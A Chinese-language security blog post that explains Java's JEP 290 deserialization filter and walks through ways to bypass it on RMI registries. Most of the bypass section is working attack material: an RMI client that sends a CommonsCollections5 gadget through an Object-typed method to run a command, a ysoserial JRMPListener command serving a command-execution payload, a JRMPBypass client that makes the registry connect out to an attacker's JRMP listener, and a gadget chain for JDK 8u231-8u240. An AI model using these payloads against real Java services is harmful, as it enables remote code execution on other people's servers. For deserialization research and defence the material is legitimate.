本文最后编辑于 前,其中的内容可能需要更新。
JEP290 jep290是 Java 为了防御反序列化攻击而设置的一种过滤器,其在 JEP 项目中编号为290,因而通常被简称为jep290
作用
Provide a flexible mechanism to narrow the classes that can be deserialized from any class available to an application down to a context-appropriate set of classes. [提供一个限制反序列化类的机制,白名单或者黑名单]
Provide metrics to the filter for graph size and complexity during deserialization to validate normal graph behaviors. [限制反序列化的深度和复杂度]
Provide a mechanism for RMI-exported objects to validate the classes expected in invocations. [ 为RMI远程调用对象提供了一个验证类的机制]
The filter mechanism must not require subclassing or modification to existing subclasses of ObjectInputStream. [定义一个可配置的过滤机制,比如可以通过配置 properties文件的形式来定义过滤器]
Bypass 一下两种方式设置jep290
通过setObjectInputFilter来设置filter
直接通过conf/security/java.properties文件进行配置 参考
其核心实际上就是提供了一个名为 ObjectInputFilter 的接口,用户在进行反序列化操作的时候,将 filter 设置给 ObjectInputStream 对象。
每当进行一次反序列化操作时,底层就会根据 filter 中的内容来进行判断,从而防止恶意的类进行反序列化操作。此外,还可以限制反序列化数据的信息,比如数组的长度、字节流长度、字节流深度以及使用引用的个数等。filter 返回 accept,reject 或者 undecided 几个状态,然后用户根据状态进行决策。
而对于RMI来说,主要是导出远程对象前,先要执行过滤器逻辑,然后才进行接下来的动作,即对反序列化过程执行检查。
可以简单看一下java.io.ObjectInputStream源码
开个rmi服务(jdk8u121以上)用yso打一下,可以看到报错。
class sun.reflect.annotation.AnnotationInvocationHandler被拒绝
RMI是通过readObject以此拿到Remote远程对象引用的,详情可以看RegistryImpl_Skel源码
最后会来到sun.rmi.registry.RegistryImpl#registryFilter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 private static Status registryFilter (FilterInfo var0) { if (registryFilter != null ) { Status var1 = registryFilter.checkInput(var0); if (var1 != Status.UNDECIDED) { return var1; } } if (var0.depth() > 20L ) { return Status.REJECTED; } else { Class var2 = var0.serialClass(); if (var2 != null ) { if (!var2.isArray()) { return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED; } else { return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED; } } else { return Status.UNDECIDED; } } }
调用栈:
白名单里没有AnnotationInvocationHandler所以报错
Object参数bypass Y4er师傅的思路,如果RMI服务暴漏了Object参数类型的方法,就可以注入。
比如RMI服务绑定这样的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class HelloImpl extends UnicastRemoteObject implements Hello { protected HelloImpl () throws RemoteException { } public String hello () throws RemoteException { return "hello world" ; } public String hello (String name) throws RemoteException { return "hello" + name; } public String hello (Object object) throws RemoteException { System.out.println(object); return "hello " +object.toString(); } }
RMIClient这样就能执行命令
1 2 3 4 5 6 7 8 9 10 11 public class RMIClient { public static void main (String[] args) { try { Hello rt = (Hello) Naming.lookup("rmi://127.0.0.1:1099/hello" ); String result = rt.hello(new CC5().getObject("/System/Applications/Calculator.app/Contents/MacOS/Calculator" )); System.out.println(result); }catch (Exception e){ e.printStackTrace(); } } }
jrmpBypass 是ysoserial里的JRMPListener
lookup时返回的是一个封装了UnicastRef对象的RegistryImpl_Stub,这个UnicastRef封装了LiveRef,TCPEndpoint对象封装了端口和host信息。
之后我们是根据这个Stub对象去连接 Registry
如果能控制端口和host的信息,就能够发起任意的jrmp请求
直接用ysoserial复现
1 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "open -a Calculator"
客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package jep290;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import java.lang.reflect.Proxy;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.ObjID;import java.rmi.server.RemoteObjectInvocationHandler;import java.util.Random;public class JRMPBypass { public static void main (String[] args) throws Exception { Registry reg = LocateRegistry.getRegistry("localhost" ,1099 ); ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("127.0.0.1" , 3333 ); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false )); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPBypass.class.getClassLoader(), new Class[] { Registry.class }, obj); reg.bind("Hello" ,proxy); } }
调试一下看看
RemoteObject是一个抽象类,实现了Remote 和 Serializable 接口,说明他可以通过白名单检测。
在RemoteObject的readObject会调用UnicastRef.readExternal
readExternal调用了LiveRef.read,这个方法读取了ConnectionInputStream里的host和port信息,指向的是yso开启的jrmp
反序列化结束之后就来到这里
可以看到根据之前封装的端口和host信息用DGCClient对jrmp发起连接。
具体实现细节看yso源码即可。
8u231-8u240JRMPBypass 是一条直接发起jrmp请求的gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 客户端发送数据 –> 服务端反序列化(RegistryImpl_Skle#dispatch) UnicastRemoteObject#readObject –> UnicastRemoteObject#reexport –> UnicastRemoteObject#exportObject –> overload UnicastRemoteObject#exportObject –> UnicastServerRef#exportObject –> … TCPTransport#listen –> TcpEndpoint#newServerSocket –> RMIServerSocketFactory#createServerSocket –> Dynamic Proxy(RemoteObjectInvocationHandler) RemoteObjectInvocationHandler#invoke –> RemoteObjectInvocationHandler#invokeMethod –> UnicastRef#invoke –> (Remote var1, Method var2, Object[] var3, long var4) StreamRemoteCall#executeCall –> ObjectInputSteam#readObject –> “pwn”